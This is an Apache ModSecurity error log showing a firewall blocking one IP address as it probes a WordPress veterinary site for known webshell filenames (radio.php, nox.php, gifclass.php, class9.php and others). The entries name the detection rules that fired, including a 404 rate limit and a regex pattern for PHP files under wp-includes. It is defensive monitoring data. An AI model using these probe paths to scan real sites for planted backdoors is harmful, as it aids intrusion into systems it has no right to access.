[Sun Dec 28 21:20:26.586898 2025] [:error] [pid 29388:tid 29397] [client 74.225.139.234:19502] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aVEumtoLv2L2zI_SpdX3HQAAAUE"]
[Sun Dec 28 21:20:26.998427 2025] [:error] [pid 42378:tid 42403] [client 74.225.139.234:19544] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aVEumjgtcN-KHAjWrX8vHwAAANc"]
[Sun Dec 28 21:20:27.545290 2025] [:error] [pid 29388:tid 29419] [client 74.225.139.234:19458] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aVEum9oLv2L2zI_SpdX3IQAAAVc"]
[Sun Dec 28 21:20:28.336136 2025] [:error] [pid 29436:tid 29449] [client 74.225.139.234:13296] [client 74.225.139.234] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aVEunLchzOOtNL9VPNISBwAAAYo"]
[Sun Dec 28 21:20:28.943240 2025] [:error] [pid 29437:tid 29488] [client 74.225.139.234:19480] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/radio.php"] [unique_id "aVEunBhDotAbVk6pZLfcAgAAAdY"]
[Sun Dec 28 21:20:29.476523 2025] [:error] [pid 29437:tid 29487] [client 74.225.139.234:13223] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/radio.php"] [unique_id "aVEunRhDotAbVk6pZLfcAwAAAdU"]
[Sun Dec 28 21:20:30.128888 2025] [:error] [pid 42294:tid 42365] [client 74.225.139.234:13272] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/radio.php"] [unique_id "aVEuntTE5kYcYCOzl9HRywAAAI8"]
[Sun Dec 28 21:20:30.620216 2025] [:error] [pid 42378:tid 42383] [client 74.225.139.234:19459] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/radio.php"] [unique_id "aVEunjgtcN-KHAjWrX8vIAAAAMM"]
[Sun Dec 28 21:20:30.960278 2025] [:error] [pid 42378:tid 42384] [client 74.225.139.234:19570] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aVEunjgtcN-KHAjWrX8vIQAAAMQ"]
[Sun Dec 28 21:20:31.340133 2025] [:error] [pid 42294:tid 42358] [client 74.225.139.234:19475] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aVEun9TE5kYcYCOzl9HRzQAAAIg"]
[Sun Dec 28 21:20:31.819086 2025] [:error] [pid 42294:tid 42366] [client 74.225.139.234:19493] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aVEun9TE5kYcYCOzl9HRzgAAAJA"]
[Sun Dec 28 21:20:32.796896 2025] [:error] [pid 29436:tid 29440] [client 74.225.139.234:19535] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aVEuoLchzOOtNL9VPNISCQAAAYE"]
[Sun Dec 28 21:20:33.471136 2025] [:error] [pid 29388:tid 29399] [client 74.225.139.234:19577] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/.well-known/admin.php"] [unique_id "aVEuodoLv2L2zI_SpdX3JQAAAUM"]
[Sun Dec 28 21:20:33.896033 2025] [:error] [pid 29388:tid 29410] [client 74.225.139.234:13267] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/.well-known/admin.php"] [unique_id "aVEuodoLv2L2zI_SpdX3JgAAAU4"]
[Sun Dec 28 21:20:34.412422 2025] [:error] [pid 29388:tid 29411] [client 74.225.139.234:19514] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/.well-known/admin.php"] [unique_id "aVEuotoLv2L2zI_SpdX3JwAAAU8"]
[Sun Dec 28 21:20:34.914599 2025] [:error] [pid 29437:tid 29467] [client 74.225.139.234:13276] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/.well-known/admin.php"] [unique_id "aVEuohhDotAbVk6pZLfcEQAAAcE"]
[Sun Dec 28 21:20:35.291767 2025] [:error] [pid 29388:tid 29397] [client 74.225.139.234:19562] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "aVEuo9oLv2L2zI_SpdX3PwAAAUE"]
[Sun Dec 28 21:20:36.016853 2025] [:error] [pid 42293:tid 42331] [client 74.225.139.234:19513] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "aVEupMvc9B-5cwN385IA2AAAAEg"]
[Sun Dec 28 21:20:36.595302 2025] [:error] [pid 29388:tid 29404] [client 74.225.139.234:19539] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "aVEupNoLv2L2zI_SpdX3SwAAAUg"]
[Sun Dec 28 21:20:37.150737 2025] [:error] [pid 29436:tid 29451] [client 74.225.139.234:13072] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "aVEupbchzOOtNL9VPNISTgAAAYw"]
[Sun Dec 28 21:20:37.531392 2025] [:error] [pid 29436:tid 29448] [client 74.225.139.234:19496] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aVEupbchzOOtNL9VPNISVwAAAYk"]
[Sun Dec 28 21:20:38.036336 2025] [:error] [pid 42293:tid 42347] [client 74.225.139.234:19470] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aVEupsvc9B-5cwN385IA2QAAAFg"]
[Sun Dec 28 21:20:38.491960 2025] [:error] [pid 29436:tid 29443] [client 74.225.139.234:19547] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aVEuprchzOOtNL9VPNISYQAAAYQ"]
[Sun Dec 28 21:21:45.700863 2025] [:error] [pid 29436:tid 29462] [client 74.225.139.234:19515] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/radio.php"] [unique_id "aVEu6bchzOOtNL9VPNISsQAAAZc"]
[Sun Dec 28 21:21:46.717441 2025] [:error] [pid 29437:tid 29490] [client 74.225.139.234:19457] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/radio.php"] [unique_id "aVEu6hhDotAbVk6pZLfcaQAAAdg"]
[Sun Dec 28 21:21:47.422946 2025] [:error] [pid 29388:tid 29414] [client 74.225.139.234:19573] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/radio.php"] [unique_id "aVEu69oLv2L2zI_SpdX3mAAAAVI"]
[Sun Dec 28 21:21:47.884588 2025] [:error] [pid 29436:tid 29448] [client 74.225.139.234:19523] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/radio.php"] [unique_id "aVEu67chzOOtNL9VPNISwgAAAYk"]
[Sun Dec 28 21:21:48.515052 2025] [:error] [pid 42294:tid 42357] [client 74.225.139.234:19483] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/blurbs15.php"] [unique_id "aVEu7NTE5kYcYCOzl9HR9wAAAIc"]
[Sun Dec 28 21:21:49.311111 2025] [:error] [pid 29436:tid 29463] [client 74.225.139.234:19456] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/blurbs15.php"] [unique_id "aVEu7bchzOOtNL9VPNIS5QAAAZg"]
[Sun Dec 28 21:21:50.791072 2025] [:error] [pid 42294:tid 42369] [client 74.225.139.234:19548] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/blurbs15.php"] [unique_id "aVEu7tTE5kYcYCOzl9HR-AAAAJM"]
[Sun Dec 28 21:21:51.810011 2025] [:error] [pid 29436:tid 29453] [client 74.225.139.234:19505] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/blurbs15.php"] [unique_id "aVEu77chzOOtNL9VPNIS_wAAAY4"]
[Sun Dec 28 21:21:52.473529 2025] [:error] [pid 29388:tid 29410] [client 74.225.139.234:19462] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gifclass.php"] [unique_id "aVEu8NoLv2L2zI_SpdX3ngAAAU4"]
[Sun Dec 28 21:21:52.990238 2025] [:error] [pid 43789:tid 43796] [client 74.225.139.234:13262] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gifclass.php"] [unique_id "aVEu8Aa-tUppni4CcCZJogAAAQU"]
[Sun Dec 28 21:21:54.487633 2025] [:error] [pid 29437:tid 29475] [client 74.225.139.234:13263] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gifclass.php"] [unique_id "aVEu8hhDotAbVk6pZLfcbAAAAck"]
[Sun Dec 28 21:21:56.452043 2025] [:error] [pid 42293:tid 42333] [client 74.225.139.234:19578] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gifclass.php"] [unique_id "aVEu9Mvc9B-5cwN385IBCgAAAEo"]
[Sun Dec 28 21:21:58.647451 2025] [:error] [pid 42378:tid 42392] [client 74.225.139.234:13061] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aVEu9jgtcN-KHAjWrX8vZQAAAMw"]
[Sun Dec 28 21:22:01.700278 2025] [:error] [pid 42293:tid 42328] [client 74.225.139.234:13165] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aVEu-cvc9B-5cwN385IBEgAAAEU"]
[Sun Dec 28 21:22:02.502702 2025] [:error] [pid 42292:tid 42304] [client 74.225.139.234:19506] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aVEu-pyOrM_vaFx1osZesAAAAAg"]
[Sun Dec 28 21:22:03.006405 2025] [:error] [pid 29436:tid 29443] [client 74.225.139.234:13188] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aVEu-7chzOOtNL9VPNITAwAAAYQ"]
[Sun Dec 28 21:22:03.825418 2025] [:error] [pid 42293:tid 42327] [client 74.225.139.234:19541] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/nox.php"] [unique_id "aVEu-8vc9B-5cwN385IBFAAAAEQ"]
[Sun Dec 28 21:22:05.141019 2025] [:error] [pid 42293:tid 42337] [client 74.225.139.234:19479] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/nox.php"] [unique_id "aVEu_cvc9B-5cwN385IBFwAAAE4"]
[Sun Dec 28 21:22:06.505431 2025] [:error] [pid 43789:tid 43808] [client 74.225.139.234:13206] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/nox.php"] [unique_id "aVEu_ga-tUppni4CcCZJqQAAARE"]
[Sun Dec 28 21:22:06.904833 2025] [:error] [pid 42293:tid 42335] [client 74.225.139.234:13268] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/nox.php"] [unique_id "aVEu_svc9B-5cwN385IBGgAAAEw"]
[Sun Dec 28 21:22:07.265002 2025] [:error] [pid 42294:tid 42362] [client 74.225.139.234:19461] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file48.php"] [unique_id "aVEu_9TE5kYcYCOzl9HSAwAAAIw"]
[Sun Dec 28 21:22:08.568616 2025] [:error] [pid 42292:tid 42309] [client 74.225.139.234:13256] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file48.php"] [unique_id "aVEvAJyOrM_vaFx1osZeswAAAA0"]
[Sun Dec 28 21:22:09.410971 2025] [:error] [pid 29436:tid 29448] [client 74.225.139.234:19460] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file48.php"] [unique_id "aVEvAbchzOOtNL9VPNITCwAAAYk"]
[Sun Dec 28 21:22:09.954195 2025] [:error] [pid 29436:tid 29459] [client 74.225.139.234:13056] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file48.php"] [unique_id "aVEvAbchzOOtNL9VPNITDAAAAZQ"]
[Sun Dec 28 21:22:10.569788 2025] [:error] [pid 42294:tid 42361] [client 74.225.139.234:13146] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/info.php"] [unique_id "aVEvAtTE5kYcYCOzl9HSBQAAAIs"]
[Sun Dec 28 21:22:11.357492 2025] [:error] [pid 42293:tid 42326] [client 74.225.139.234:13156] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/info.php"] [unique_id "aVEvA8vc9B-5cwN385IBHwAAAEM"]
[Sun Dec 28 21:22:12.148795 2025] [:error] [pid 42294:tid 42350] [client 74.225.139.234:19526] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/info.php"] [unique_id "aVEvBNTE5kYcYCOzl9HSCAAAAIA"]
[Sun Dec 28 21:22:12.881999 2025] [:error] [pid 43789:tid 43795] [client 74.225.139.234:13209] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/info.php"] [unique_id "aVEvBAa-tUppni4CcCZJrwAAAQQ"]
[Sun Dec 28 21:22:13.470754 2025] [:error] [pid 42293:tid 42338] [client 74.225.139.234:13243] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/class9.php"] [unique_id "aVEvBcvc9B-5cwN385IBIQAAAE8"]
[Sun Dec 28 21:22:13.957000 2025] [:error] [pid 29437:tid 29475] [client 74.225.139.234:19531] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/class9.php"] [unique_id "aVEvBRhDotAbVk6pZLfceQAAAck"]
[Sun Dec 28 21:22:14.519714 2025] [:error] [pid 42294:tid 42367] [client 74.225.139.234:13259] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/class9.php"] [unique_id "aVEvBtTE5kYcYCOzl9HSCQAAAJE"]
[Sun Dec 28 21:22:15.342219 2025] [:error] [pid 42294:tid 42372] [client 74.225.139.234:19510] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/class9.php"] [unique_id "aVEvB9TE5kYcYCOzl9HSCgAAAJY"]
